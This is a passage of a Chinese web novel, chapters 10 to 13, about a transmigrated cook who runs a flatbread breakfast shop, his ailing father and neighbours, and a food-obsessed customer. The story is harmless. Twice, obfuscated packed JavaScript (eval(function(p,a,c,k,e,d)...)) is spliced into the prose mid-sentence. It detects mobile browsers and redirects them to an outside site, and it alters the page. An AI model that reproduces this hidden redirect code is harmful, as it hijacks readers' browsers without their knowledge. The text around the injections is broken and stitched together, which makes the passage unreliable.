“以前我爹说，城里人都聪明怕把我当傻子哄，让我机灵一些，别随便乱信人，我爹说的不对，汤夫郎就是城里人却不一样……” 皇甫铁牛听着许狗娃每句话都要说汤显灵如何好，莫不可闻的点了下头，附和同意。 他心里还在想，为什么他想下次再找汤显灵呢？ 之前狗娃寻他，第一次他是顺路，狗娃只要能跟上他的脚步，一起搭伴便一起搭伴。到了第二次，狗娃前几日就来同他商量，求他再一道进城，还许诺卖了菜可以给他五文钱。 铁牛自然没要。 他没说可以也没说不可以，听许狗娃说了半晌，只说：过几日，要是我打到猎物就一起去。 许狗娃不知道，他说完后，当晚就扎进了深山里。 猎到了鹿，铁牛松了口气，对于第二次进城有了理由。 那下次呢？进城自然能进，只是又不一样了。 “还有铁牛哥，我之前不敢问，你姓皇甫啊，这个姓好特别，还是两个字的，上次回去，我只跟家里人说过，没给其他人提。”许狗娃急急忙忙解释起来。 皇甫铁牛：“没事。” 许狗娃好奇，不说他们村，就是隔壁村、他大嫂村子，附近其他村子，都没有姓皇甫的，铁牛哥到底是从哪里来的？他听阿奶说，老猎户在五年前捡了个孩子，那就是铁牛哥。 皇甫铁牛知道许狗娃好奇，却不想多说解释什么。 对啊，他一向不想提及身世，最初义父捡到他时，在亭江府等了足足半个月，替他寻找亲人，那会他伤着脑袋，记不起家里了，身上除了衣服一块阿娘留下的玉佩，其他物件也被冲散开来。 一直到两年前，他恍惚间想起来了。义父问他要不要去渌京找亲父团聚，铁牛想了一整晚，还是摇头否了。 皇甫臣死在了五年前。 铁牛是铁牛，可为什么汤显灵问起来，他却如实相告了。 汤显灵觉得皇甫铁牛这个名字有意思，他就没说他叫皇甫臣这个名字。 到底……为什么呢。 小汤老板不知道一只纯情铁牛正在十万个为什么，他这会忙着，关了铺子门，收拾狗娃送来的菜，先将菜晒起来——之前搬到院子的桌子还在，他和蒋芸两个人吃饭就在院子里，懒得挪动了。 此时正好，将菜铺平晒起来。 蒋芸刚照顾汤父吃完饭，哪怕馍丁有些凉，丈夫吃了一口显然是被五哥儿手艺惊到了，嘴上不承认，说：“他以前做饭没这个手艺。” 紧跟着又说：“不过就是一碗不上台面的馍丁，差的远呢。” 蒋芸没应声，见丈夫吃起来有些狼吞虎咽，心里明白，五哥儿做饭手艺就是好。 汤显灵忙完晒菜，洗刷了锅碗，又去挑水。 “娘，晚上我想吃口米饭。” 蒋芸：“家里不是没米了么？” “今个赚了钱，我去买些米和菜，庆祝开张生意好，咱们吃顿好的。”汤显灵是不亏待自己的嘴，想当初上大学那会，一个月一千五的零花钱，舍友游戏里充钱氪金的、谈恋爱的、省钱买鞋的、特种兵出游的。 而他，只敬了自己那张嘴。 自然特种兵舍友说：你就不想尝尝XX地方特色菜，据说可好吃了？ 于是假期兼职赚来的钱，汤显灵特种兵各地，继续全喂到肚子里。 今个心情不好——吃一顿。 考试过了庆祝一下——吃个好的。 嘿嘿下雨带伞了——吃个火锅。 ……就没有找不到吃个好的的借口。 恩格尔系数拉满了。 汤显灵在末世时，无数次被变异树抽的满地狼狈打滚逃生时感慨：为什么要给他这么鸡肋的异能，就不能给个什么风火雷电，再不济力气大一点也好。 可当他抱着大树嫩叶子烧了一顿饭，闻着香味时，又嘿嘿嘿的一边干饭一边说：饭灵根也不是很差嘛，蛮好蛮好。 吃饭的时候最高兴了。 11.第十一章 第十一章 正街是有粮铺的，这条街南北两边都是铺子，多是‘食’相关，供整个八兴坊和丁一坊居民日常生活，够用了。 汤家铺子那边属于南面，后头一片巷子组成的院子是八兴坊，对面北向铺子，后面一片是丁一坊。 汤显灵在这儿待了几天，没事往东西两市跑，对奉元城也有些基础了解。城内一共八十八坊组成，有的一坊只有五六户人家，相当于现代的有钱人大别墅。 一户占两条巷子面积。 像他们八兴坊和丁一坊，每个坊间基本都在四百户左右，两坊加起来八百多户人家，反正做吃食买卖市场很稳定，因此正街铺子十分值钱抢手。 之前汤显灵跟老汤头说租客‘醉翁之意不在酒’，本来是胡扯，经过几天观察，他的胡扯竟然猜对了。 “小汤老板买什么去？汤老板身体如何了？” 汤显灵被喊住，看了过去，听声音有些耳熟，他面上露出几分生疏来，说：“你是？” “我家姓李，租了汤老板家中院子。”李大娘说。 汤显灵立即恍然大悟，说：“记得，想起来了。”又装起腼腆来，“我爹身子不好，之前我也没出来走动的心思，一时没想起来，大娘你别见怪。” “不怪不怪。”李大娘很是热情，见小汤只拎了个篮子，继续搭话：“你买菜去？” 汤显灵：“家里米缸没米了，我去买些。” “正巧，我要买些豆子。” 于是汤显灵只能跟热情的李大娘结伴去粮铺，粮铺位置在街尾，两人一路自然要聊。汤显灵是憋着一股‘我要看看李大娘要说些什么’的劲儿，反正他买米没耽误，对此还是很有兴趣的。 因为李大娘也很盼着老汤头早早蹬腿。 当然李大娘话说的很周全，都是关心老汤头身体的。 汤显灵面对李大娘关心之语，只能时不时摇头，伤心的唉声叹气，偶尔蹙眉四十五度望天，自有李大娘给他补全话。 “你真是孝顺孩子，也别太伤心了。” 汤显灵：“唉。” “汤老板身子我听说养了快半年了？没请大夫吗？我知道东市有个巫馆，若是医馆不顶事，可以去瞧瞧巫馆。”李大娘推荐。 汤显灵欲言又止，提了口气说：“我爹他——唉。”又闭上了嘴。 李大娘好奇心吊起来了，“你爹如何？” “家里银钱都是我爹管着，不怕大娘笑话，我和阿娘两人嚼头过日子，要不是前些天我大姐姐夫来看望，给家里留了半袋面，米缸早空了。”汤显灵说完，有些不好意思，故意找补：“都是些家事，我爹也是怕我大手大脚被骗了钱财，才不给钱的。” 时下人都重孝，做孩子不能说爹娘坏话。 李大娘早打听过，汤老板在家里是做主的人，媳妇儿和守寡的哥儿软弱无能，做不了主，因此才动了心思租住汤家院子，到时候汤老板一死，汤家前头的铺子，不管是向外租还是卖，他们家近水楼台有利。 “是了。”李大娘嘴上附和，想到一处，硬生生拐到了想问的话题，“难怪你做起朝食买卖来，真是苦了你。” 汤显灵：来了来了，果然是问铺子的事。 “没办法，羊汤馎饦店开不了，只能做点小本买卖糊口。” 李大娘看看愁眉不展的汤五哥儿，面上可心疼了，说：“做买卖可不容易，累人的紧，按理说汤老板也到了享清福年岁，要是有个钱，像那崔大爷那般，也是好日子。” “不比什么做买卖营生来的舒坦，要是再谋个好夫婿——” 这咋还催婚催到本人面前了。汤显灵想摸摸李大娘要干什么，可没想攀扯到他头上，此时打断话，“大娘，我还在守寡中，不想嫁人那等事。” “咱们朝中有律，夫死不强守寡，再嫁也行的。”李大娘热情说。 汤显灵：……大娘你怎么听不懂婉拒啊！ “前头那桩婚事，我吓怕了，现在没这个心思。” 李大娘便唉声：“也是，不急。” 可算到了粮铺。 汤显灵要了一斗白米，西都州往南去的亭江府多种水稻，因此白米也不是特别贵，十一文一斤，一斗有个十二三斤左右，花了一百三十文钱。又买了三斤红豆，将布袋递过去，店老板儿子三两下称好了，问要不要送？ 还可以送啊。 汤显灵高兴了，“那劳烦送到汤家。” “成。” 汤显灵买完，当没瞧见李大娘什么都没买，笑眯眯说：“那大娘，我先走了。” 回去路上，在摊贩那儿顺道买菜，下午天热，菜晒得有点蔫吧却很便宜，一文钱能买一大把，汤显灵看到还有摆摊卖鱼的，又要了一尾鱼。 他想吃豆腐了，天热，豆腐早上就卖光了。 汤显灵想明个早上收摊后就出来买菜。 拎着鱼一篮子菜，汤显灵回到了铺子，蒋芸来开门，见他空手只带了菜，“不是说买米？” “店里老板说可以送货。”汤显灵进门搭话。 蒋芸：“是能送，买的多就送，不过以前怕麻烦人，家里都是自己拿的。” “我不怕麻烦老板。”汤显灵看向蒋芸，“老板推出这样送货服务，咱们心安理得用就是了。” 蒋芸对上五哥儿目光，又想起那些话，忙偏开头。 五哥儿以前也是怕麻烦人的性子，跟她一样，什么苦都自己往肚子里咽，背地里擦眼泪，面上不说这些事，都是自己扛过去。 正说话，铺子门响，粮铺的小儿子余三郎来送货，推了个两轮车，上都除了汤家买的粮，还有十多小包。余三郎说：“汤婶婶，粮放这里还是给你拿灶屋去？” “不用，给我就是。”蒋芸接过。 余三郎送了汤家货，也没寒暄多留，推着车去下家。 汤显灵将菜篮子递给蒋芸，换他拿粮去灶屋，一边走一边说：“晚上炒个蒜蓉时蔬，我见鱼很好，阿娘你吃清蒸的还是红烧？” 家里糖、酱、胡椒都有，虽说没辣椒。 “红烧吧，红烧汁子下饭。” 汤显灵一想到红烧鱼就咽口水。 先将米倒入米缸，红豆放在一旁，汤显灵拍拍手开始做暮食，米饭蒸上，蒋芸在摘菜，他就敲晕了鱼开始收拾鱼。 菜刀在手，汤显灵就跟打通了任督二脉一样，整个手法无师自通的利落漂亮，刀从哪儿下，下几分力道，鱼肚开，掏内脏，刮鱼鳞。 蒋芸看的陌生，低头又摘起菜来。 “阿娘，崔大爷家里是干什么的？”汤显灵闲聊。 蒋芸先答：“崔大宝是个爱吃的，家里没铺子，不过有三户院子向外租赁，就在第三巷子，他阿爹去的早，家里就他和爹相依为命，他爹宠他，也不做活，靠着租赁院子过活。” 汤显灵听得晕头转向，“他爹不是死了吗？” “死的是他阿爹，他爹还活着。”蒋芸也不明白，五哥儿怎么糊涂了。 俩人对视了会，彼此脸上都是不明白。 还是汤显灵先恍恍惚惚记起来，这个世界有哥儿，能生孩子这事，那崔大宝的阿爹就应该是夫郎？ 汤显灵：…… “你问这个作甚？”蒋芸见五哥儿脸上不好意思，倒是笑了主动岔开话题，给五哥儿解了尴尬。 汤显灵手下继续干活，说：“刚买菜上街碰到了租户李大娘，她说一个夫郎做买卖累人，就该跟崔大爷一样享清闲。” 他刚听着就不对劲，现在知道崔大宝干什么，租户李家心思一览无余了——汤小哥儿别干买卖了，早点把铺子空出来，收租金过日子，多好啊。 至于汤家铺子不做营生，那自然是卖了或者租出去。 蒋芸对这事反应平淡，也没气恼，甚至觉得李大娘说的话有些道理，不过—— “铺子是你爹的命根子，咱们可做不了主。” “所以李家时不时关心我爹身体如何了。”汤显灵道。 蒋芸沉默了下，又说：“五哥儿你想做买卖吗？” “想啊。”汤显灵点头，“我年轻又有手艺，靠谁都不如靠自己，不过铺子留不留下来看我爹意思，反正我们到哪都饿不死。” 蒋芸点了点头，菜摘好了拿到外头去洗，洗完了送到灶屋，擦了擦手说：“五哥儿，我去看看你爹。” “知道了。” 蒋芸出了灶屋直奔东屋，汤父还睡着，蒋芸就坐在一旁出神，又是想五哥儿高热后不一样了，她不敢往这儿深想，每次一想就逃开，便又是想李家惦记铺子的事，想的等汤父醒来也没察觉。 汤父就骂蒋芸，“你坐在这儿，心思跑哪里去了？” “我想铺子。”蒋芸习惯被骂，过去扶丈夫坐起靠着，一脸木讷说：“五哥儿上街买菜碰到李大娘，她说五哥儿做朝食营生辛苦，就该跟崔大爷一般过日子舒坦。” 汤父本来骂骂咧咧一听这话，反应倒是快，一下子炸开了，先说了句：“没安好心的卖油郎！”因太生气又扯到了心肺开始咳嗽。 “你莫要生气，小心身体。”蒋芸替丈夫顺着气，说：“铺子还在，你别急。” 铺子是汤父的命，他大半生赚下来的，是想要男郎，给男郎留的家业，可到如今被个外人惦记上了，哪怕是买、租，那也不行，他还没死呢。 天还未黑。 汤家灶屋烟囱炊烟袅袅升起。 隔壁卢大郎又馋了，“隔壁家是不是烧鱼啊，好香的味。” “你这鼻子，狗儿都不如你好使。”卢父骂。 卢三娘没忍住笑了声，被大哥敲了下脑门，卢三娘娇哼，陈巧莲说：“成了，好好吃饭，不许闹着玩了。” 卢大郎不跟妹妹逗趣，闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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土豆丝是用蒜苗炒的，汤显灵还下了几颗花椒炝了炝锅，切得细细的土豆丝先焯水十秒，捞出来过冷水，猪油、热锅，下蒜苗、花椒，倒入土豆丝，放醋，这一通下来要速度快，炒出来的土豆丝很漂亮不说，味道酸酸的带着一点点花椒麻味，让人食欲大开。 不敢想有多下饭。 末世之前，汤显灵在宿舍，有个舍友喜欢健身撸铁，还说土豆丝配米饭，那是碳水就碳水，不健康，可汤显灵就喜欢炝炒土豆丝，酸酸辣辣带点点花椒味，他能干半碗饭，剩下半碗还要配别的菜。 即便现在没辣椒，那一盘子土豆丝就很香了。 压阵的大菜当然是那盘子鱼了，鱼有三斤重，倒入花生油，他没放猪油，荤菜用素油，素菜用荤油。 大火先煎的鱼定型，两面焦黄，锅铲在鱼身上能刮出‘噌噌’响声来，盛出来，不用倒油，直接下调好的料：自己做的五香粉、花椒、姜丝、蒜头、黄豆酱，一点点糖提味，炒香，添热水下鱼咕嘟咕嘟烧开。 汤汁浓郁，鱼皮金黄脆，鱼肉嫩，火候整整合适。 东屋汤父闻到香味都急了，喊饿。 汤显灵：…… 当听不见。 “五哥儿你吃你的，我盛一些喂你爹。”蒋芸说。 汤显灵：装聋失败。于是撸袖子，往东屋去。蒋芸一看急了，害怕五哥儿揍丈夫，她也不知道怎么会想到这儿，反正跟着五哥儿屁股后跑。 “娘，搭把手，咱俩扛着他去院子外头一起吃。” 蒋芸闻言猛地松了口气，“这样啊。” 汤显灵：？？？那不然？ 床上汤父，前一秒嘴硬大骂‘你想干什么’，眼神却带着害怕来，也是怕五哥儿发疯揍他，下一秒也哑火了。 汤显灵对上汤父的神色，啧了声。 “看在五哥儿面子上，不然——” 吃俺双拳！ 汤显灵是‘拿人钱财与人消灾’心态，他占了五哥儿身体，即便看不惯老汤头，只要老汤头别惹他，别把歪主意打在他身上，他还是能照看一下。 但是让他伺候汤父吃饭，当个孝子那是不可能的。 汤父能坐起来，只是坐一会往下溜，身体没劲。蒋芸在椅子旁塞了被子裹住了，照汤显灵看，其实可以拿绳子绑着—— 显然蒋芸是不敢的。 饭桌上，干饭第一名的汤显灵先动了筷。 汤父一看瞪眼睛，意思他这个长辈还没吃—— “你要是不饿，就继续回屋躺着。”汤显灵不惯毛病，“这家，现在我当家，吃饭！” 蒋芸害怕，手上却胆子大，一勺米饭喂到了丈夫嘴里，声音怯懦打圆场：“别吵别吵，吃饭吧老汤。” 汤父一嘴米糊着，哼哼唧唧半个字发不出音。 汤显灵已经沉浸式干饭了。 香喷喷！ 他真是个做饭小天才，嘿嘿。 12.第十二章 第十二章 八兴坊三巷子崔家。 崔大宝今年二十八，是家中独子，上头有个近五十岁的老爹，因他阿爹早逝，父亲疼爱，从小长到大没吃过什么苦头。 崔父鳏夫带儿子是很惯孩子，崔大宝七岁时，崔父送儿子进私塾识字念书，念了没三年，崔大宝坐不住，去私塾路上一路吃喝，下午放学不回家，就爱沿着正街绕一路才回去。 吃的一张脸都油油的，买纸墨笔砚钱全买吃的了。 崔父见状，只会夸说：我儿会吃，不怕饿到肚子。 崔大宝到了十八岁，按年岁该相看亲事，崔父找媒婆，务必给他家大宝挑个好的。 崔家在八兴坊还算是家底殷实人家，虽然崔大宝不上进，整日游手好闲，往各坊间正街、东西两市扎，一扎就是一天半晌不回家，但崔家有钱啊。 媒婆给各姑娘、哥儿家说起崔家来。 “八兴坊间三个大院子，光是一年靠着租赁院子，啥都不干，坐着就将钱赚了，能有近这个数。”媒婆张开手掌，晃了晃五根手指头。 一年五十两银子啊。 “更别提，崔家门户清静，嫁进去没个婆母阿爹管着，直接就是当家做主的。” 崔家这样的条件，放在奉元城那真是也算可以的——比上自然不敢比，咱们平头老百姓什么条件还是知道的，往下比，那崔家强太多。 心动的人家自然有，媒婆一趟趟往崔家跑，择了机会，两家孩子‘意外’见一见，寻常百姓男女、哥儿没那么大防，大家都要讨生活糊口，哪能大门不出二门不迈不上街的道理。 结果崔大宝挑的紧。 不行、不喜欢、不娶。 一趟趟下来，媒婆能跑坏一双鞋，哭笑不得说：“我的大爷祖宗诶，那您说说想找个什么样的？” 崔大宝说不出来，闹脾气，犯浑跟他爹说：“爹，我不成亲了，你要是喜欢你娶，你给我生个弟弟，或是妹妹，我是不嫌的。” 崔父老脸挂不住的尴尬。 “你个混账小子说甚话呢！”崔父当着媒婆面凶了儿子一句。 崔大宝当即是‘离家出走’——跑到了西市住了三日，也没寻花问柳往那青楼待，寻了家客栈，吃了三日，他倒爽快了，崔父在家后悔，抱着早逝夫郎灵位哭的抽抽搭搭。 不该凶儿子、不成亲就不成吧、你拿命留下这么一个孩子我何苦委屈他了。 最后结果是崔父亲自去西市找儿子，父子俩抱头痛哭。 崔父说不逼你啦，你想作甚就作甚。 此事真是稀罕，做老子的还跟儿子赔不是了——在时下那是少有，因此传开了，崔大宝的名声也响亮，自那以后得了个‘崔大爷’的外号。 崔大宝对此也没甚排斥，甭管是大爷还是大宝，都不碍着他吃喝。 一直到崔大宝二十五岁时，因缘巧合一见如故了一位小哥儿，那小哥儿长得寡瘦寡瘦的，一双眼却额外的大，崔大宝见了喜欢，是求着媒婆给他托关系打听打听。 媒婆问：什么样的？哪里人？ 崔大宝：我只见了一面，跟我差不多高，很黑还很瘦，他那么瘦吃的少吧，眼睛大，哥儿痣在这儿。 指着自己嘴角下一点点位置。 媒婆又是跑坏了一双鞋，这次可算打听到了。那哥儿是城外孙村人，是个苦命的，他爹娘早逝，跟着大哥大嫂过日子，大哥大嫂留着人到了十九岁。 “……可怜见，孙豆子干农活晒得黑，本来样貌寻常，他大哥大嫂还不早早给孩子踅摸亲事，拖到了十八-九更没人要了。” 崔大宝：孙豆子这名听起来就好吃。 甭管如何，崔父谢天谢地，给媒婆五两银子做酬劳，劳烦媒婆将此事定上。 媒婆为了挣崔家的钱，崔大爷十八岁时白跑了几个月，到了崔大爷二十五，没成想，媒婆费赚到了，还多了一倍。 崔家真是大方人。 这桩婚事自然是顺顺当当办成了。 崔大宝娶了夫郎以后，也没坊间邻里想的那般‘上进’，还是一如从前那般，靠着租金过活，他家夫郎也不管崔大宝，只将家里打理的有序。 坊里邻居便说崔大宝不知疼夫郎。 三年过去，孙豆子肚子安安静静没孩子。 坊间邻里又说：难怪崔大爷见天往出跑，孙夫郎留不住人，三年了肚子也没个响动，要是有个孩子定能拴住崔大爷。 这日晌午不到崔大宝就回来了。 崔父是个烧瓷的，没在家中。孙豆子开了门，纳罕，“你今个怎么回来的早？” “可别说了，我今早遇到了一家新开的店，叫锅盔，本来想我吃完了再去买，谁曾想早早就卖完了。”崔大宝进院子，问夫郎，“有饭没？” 孙豆子做饭手艺寻常，“我在家随便吃一口。” “你吃什么？” “馎饦。” 崔大宝：“我正好也想这一口，那我也吃点。” 成婚三年，孙村说孙豆子嫁到城里是个好命的，八兴坊邻里说孙豆子嫁到崔家，丈夫不着家、肚子没娃儿，是面上看着风光，实际上一团苦水。 到底真实情况如何，只有孙豆子知道。 没村里说的那般阔绰当富家管家夫郎，也没邻里说的那般苦。过日子嘛，都有磕绊摩擦，但总体上，孙豆子很是知足，比在哥嫂家强百倍。 就说现在，孙豆子盛了两碗汤馎饦，馎饦汤是面汤，只放了些院里种菘菜，一些葱花最点缀，一点盐，这样的饭，没成婚前挑舌头的崔大宝是不爱吃的，还会发脾气。 崔父做饭都比这个强些。 但这会，崔大宝接了碗，二话没说抱着碗喝了干净。孙豆子吃饭慢，吃完了去洗碗，刷洗锅碗时，外头院子晒太阳的崔大宝突然说：“那锅盔太好吃了，我吃的高兴，忘了你和爹，明个我早早去买，给你们也捎带回来。” “你早上别吃了。” 灶屋里洗碗的孙豆子笑了，应了声：“好。”又说：“那锅盔什么样？是干的还是稀的？” 崔大宝胳膊肘撑在在灶屋外窗台上，隔着窗户跟豆子说：“干的，是烤的饼，薄薄的，有两种馅，你吃不惯猪油，那梅干菜也不腻味，明个我都买回来，你要是吃不惯，剩下给我。” “好。”孙豆子应了，“那我明个烧点粟米稀饭配着吃？” 崔大宝点头，“可别说了，我早上买了锅盔吃，想着干巴，花了七文钱喝了碗羊杂汤，老李家的羊杂汤真不行，不如老汤家的……” 到了傍晚，崔父回来了，见儿子在家也诧异，“你今个没跑出去？这般早回来，他是在家待了一天？倒乖觉。” 后头话问儿夫郎的。 孙豆子解释说：“爹，大宝晌午之前回来的——” “爹，我今个早上在咱们坊正街吃到了新花样。”崔大宝接过话头，跟他爹唠嗑，“我一进去，看到老汤家铺子门开了，还以为老汤病好了。” 崔父：“哦？老汤那样不能行吧？” “肯定不行，他家守寡的哥儿做的朝食买卖。”崔大宝简单说完，又拐到了锅盔上，大谈一通锅盔经。 崔父早已习惯。 孙豆子则是忙活暮食，晌午饭吃的简单凑合，暮食这顿孙豆子上心许多，因为爹上了一日工也辛苦，吃的是蒸饭，炒了三个菜，每盘都给足了油水，用猪油炒、炖着的羊肉，但滋味实在是一般。 崔父勉强吃了七八分，崔大宝实在是吃不下了，他家夫郎做肉食还不如晌午那碗清汤馎饦能下肚呢，崔父见儿子不咋动筷，便发愁，却也没说儿夫郎什么。 豆子哪哪都好，就是做饭手艺不行，他家大宝爱吃，他年岁大了以后要是走了，豆子这手艺，他家大宝得饿着肚子了。 唉。 吃完收拾，洗漱上床。 崔大宝：“爹，我俩睡了，你早早歇着，明个迟点去窑厂，我买了锅盔你尝了再去。” “知道了。”崔父含着笑意应上。他家大宝就是如此，对吃的上心着迷，要是遇到好吃的，一时忘了亲爹也是常事，但是心思不坏很孝顺，过会想起来，就得让他也尝尝。 各门一关。 小两口上了床。 天热，崔大宝睡觉穿的轻薄些，孙豆子也是一样，两人成亲三年，也没最初那般害羞拘束，只是崔大宝不怎么碰他——孙豆子想，可能大宝不喜欢他吧。 崔大宝摸了摸夫郎胳膊，细胳膊细腿的，怎么还不长胖啊，他想到什么，定定说：“明个你叫我早起，天不亮我就去正街买锅盔。” 孙豆子：？ “这般早？” “嗯。”崔大宝想多买些。 翌日天还未亮。 汤显灵睡饱了，说是现在起得早，但是睡得也早，天刚黑就睡，也没什么娱乐活动，跟末世三年差不多——比那会好，起码安全、食物充沛。 没一会，东屋也有了动静。 蒋芸醒了。 汤显灵知道蒋芸想给他帮忙，但说实话，家里汤父蒋芸照看，他不怎么管，屋里一些杂活他就多干一些——他实在是不乐意伺候老汤头。 照看中风半瘫老头也很辛苦的。 可蒋芸是个吃苦的性子，他活干得多了，蒋芸是坐立难安，还会用一种‘五哥儿你也不要阿娘了吗’的可怜眼神望着他。 汤显灵：…… 人真的很复杂，汤显灵觉得蒋芸应该听进去他不是五哥儿这话，虽然一直逃避，可对他还是很关心，想给他帮忙。 “那娘，你把红豆煮上，我打完水，揉面来得及。”汤显灵安排活。 蒋芸得了干活指令，一下子不愁云满布了，脸上带着笑，“成，阿娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352246|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道了，你去吧，小心些。” 汤显灵拿着扁担拎着水桶出门打水了。 他现在已经能一次性挑两桶水回来。 门一开，外头黑漆漆的，一个鬼祟人影上前。汤显灵吓得一个哆嗦，握紧了手里扁担，蓄势待发：！ “小汤老板莫怕，是我，崔大宝。”崔大宝出声。 汤显灵手里扁担卸了力道：…… 该是你别怕。 “我来买锅盔的。” 汤显灵：…… 抬头，天都是黑的，崔大宝长什么样都看不清。 “我怕卖没了，等头一锅。” 汤显灵：…… 妈耶，荣朝吃货他算是见识到了，汤显灵也是吃货，可谓是吃货理解吃货，但崔大宝这个也太吃货了。汤显灵一顿绕口令，最后客客气气出声：“客人，我这儿红豆才煮上，估摸得半个时辰才开铺子，您要不——” 先回去。 “才半个时辰，我等了！”崔大宝美滋滋接话，还很周道说：“小汤老板要打水你只管去，我就在这儿等着，你就当我没在。” 汤显灵：……先放下扁担，进了屋，跟蒋芸说：“娘，崔大宝在门口等着。”他看蒋芸脸上也没多少诧异，就知道崔大宝吃货属性，这样苦守铺子前不是没有过的。 “你给他拿个凳子，我去打水了。” 蒋芸答应完，脸上不自知的露出笑容来，说：“五哥儿手艺真好，崔大爷不常蹲守铺子的，以前冬日爱吃你爹做的羊汤馎饦，也是铺子门没开就来守第一碗，夏日天热了，崔大爷吃食上讲究，说夏日燥不吃羊，来得少了……” 因为崔大宝守在铺子门，搞得汤显灵打水都跟有人催似得——人崔大宝也没催他，就是小汤老板自己紧迫感。 汤显灵想到以前在现代看的段子。 小吃摊老板不想当公司准时打卡的牛马转行做买卖，图一个自由，结果因为味道好，食客天天问出摊了没、老地方见、要XXX，干成了比上班还准时—— 汤显灵：痛并快乐着。 有人爱吃自己做的东西，其实是很自豪快乐的。 汤显灵给水缸添足了水，卷着袖子洗了手，说：“阿娘我来揉面，你看着点红豆，要是饿了，昨个的饭还剩一碗炒了先垫吧一口。” 他现在没空炒饭。 蒋芸：“昨个儿吃得多现下不太饿。” 汤显灵便不多说了，揉面揉的三光——面光、手光、盆光，而后面团放在一处醒面，他趁醒面功夫捞起红豆，开始捣红豆加红糖做豆沙。 铺子外敲门响。 “我去看，估摸是送肉来的。”蒋芸在围裙上擦了擦手出去了。 门外朱四来送肉，见门口坐着崔大宝，一见面就知道怎么回事，当即是惊讶：“五哥儿做的锅盔真这么好吃？崔大爷你可是活招牌了。” 崔大宝听此话，觉得比什么奉承话都动听，这是说他会吃，便笑呵呵说：“你昨日早上肯定没吃，你吃过了就知道，我崔大宝从不在吃食上说糊弄人的话。” “崔大爷猜对了，昨个儿我媳妇来买，竟是卖完了，就那么一会会卖的这般快，我还想定是五哥儿备货备的少，今个一看崔大爷在，那想必是真真好滋味。” 崔大宝闻言眉飞色舞给讲了锅盔经。 等蒋芸来拿肉，递了钱给朱四，朱四笑呵呵拱手说：“汤嫂子买卖好，一会我早早来，定得买个饼尝尝了。” “好，谢谢捧场了。”蒋芸道。 拿了肉也没在寒暄，赶紧去灶屋给五哥儿送肉。 今日的五花肉偏瘦，不用剔肥的，正合适了。昨个早上是二斤梅干菜三斤不到猪肉，今个三斤梅干菜，三斤多点猪肉，还能留半斤五花，早上卖完朝食，上街买豆腐，混着五花肉回头炸豆腐丸子吃。 汤显灵开始调馅，蒋芸就往出走，汤显灵：？ “阿娘你出去干甚？” “这你的方子——”蒋芸不知怎么解释。 汤显灵知道怎么回事，老汤头一手熬羊汤秘诀是防了身边人孩子几十年，他却没这个心思，坦坦荡荡说：“我这一手配方，就是有人学会了，也做不出我这个味。” 他可是有挂的！！！ 蒋芸听了却笑，觉得五哥儿其实也没变，还是小孩子心性单纯的紧，只想着家里人，不会生什么怨恨心，五哥儿是个柔肠子。 汤显灵没管蒋芸想什么，手上利索调好馅，“阿娘，可以端去前头了，我来挑碳，先把烤炉热上。” 烤饼要热炉子，二百度左右。 一盆红糖豆沙馅、一盆梅干菜肉馅，一大盆面团，昨个儿是十斤的面，今个多备了五斤，应当是够卖了。 铺子门还未开，天麻麻亮。 门外崔大宝跟那猫耳朵似得听见里头响动，一下子坐直了腰板，来了！ 13.第十三章 第十三章 灶头点了碳，先烘热烤炉。 蒋芸说她来干，汤显灵就不争了，开了铺子门，门外崔大宝笑呵呵的说：“我就听见里头有动静，这是烤上了？” “正热炉子。”汤显灵嘴上答，天亮才看到崔大宝还拿了个装食物的篮子，“您稍等等，我洗了手开始揉面能做上，您要什么馅？要几份？” 崔大宝：“梅干菜要四个，豆沙要四个。” 买这么多啊。 别说烧火的蒋芸看了过去，就是汤显灵也小小惊讶了下，而后说：“锅盔趁热好吃，放凉了，自家加工再烤滋味不如才出炉。” “小汤老板放心好了，你瞧我手里篮子。”崔大宝拿着篮子递到小汤老板眼前，“都是竹编有缝隙透气的，里头是一层薄薄的细棉布垫着，上头是纱布，保证透气，不会让热的饼子疲软了。” 汤显灵：……崔大宝真是个吃货人才！ 不由笑了，“我多虑了，论起吃来，您真是行家。” 崔大宝也喜气洋洋，他就喜欢别人夸他会吃，一边说：“我买八个也不久放，捎带回去我爹还有夫郎也要吃，昨个锅盔配羊杂汤略是有些腻，那羊杂汤太荤，味大，遮掩了锅盔的香，美中不足了，今个我家夫郎说烧一锅粟米粥，我觉得配。” 汤显灵听着崔大宝吃货经，手下揉面，将大面团分成小剂子，他也不用称量，对食物重量的把握好像是天生的一样，每个小剂子大小一样。 “小汤老板这一手，跟做了几十年买卖似得老练。”崔大宝夸。 其实不光如此，还有对食物的火候时间，汤显灵是本能反应，每张饼馅料多少，送进炉子到出炉子时间，掌握的恰到好处。 就没有翻车过。 饼送进烤炉。 街尾猪肉铺子，朱四抬头看了看天，照往常这时候，媳妇儿还没从家里走，到过来怕是小半个时辰后了。 “都怪崔大宝蹲的，真有那么好吃？”朱四在摊前嘀咕，“别一会又卖完了。”竟然还有点操心着急了。 不过朱四也做不到关了铺子只为了买个饼。 可能是夫妻同心吧，周香萍比往常提早出门，想着已经很早了，到了正街，各家吃食铺子前已经有食客，什么炸捻子糖油饼，周香萍还是爱吃这个的，就是贵，不过糖油饼费油，里头又包的是糖，如此想还好。 她不由自主就想到了汤五哥儿卖的锅盔，也要五文钱。 “罢了今个还是买锅盔，改日再吃糖油饼，谁叫我应承了汤嫂子，没去买个锅盔，心里记挂事总是不舒坦。”周香萍念叨完，脚步干脆往汤家铺子去。 还未走到，大老远就见汤家铺子门前有人候着。 周香萍：？！ 吓得她脚步都加快了。 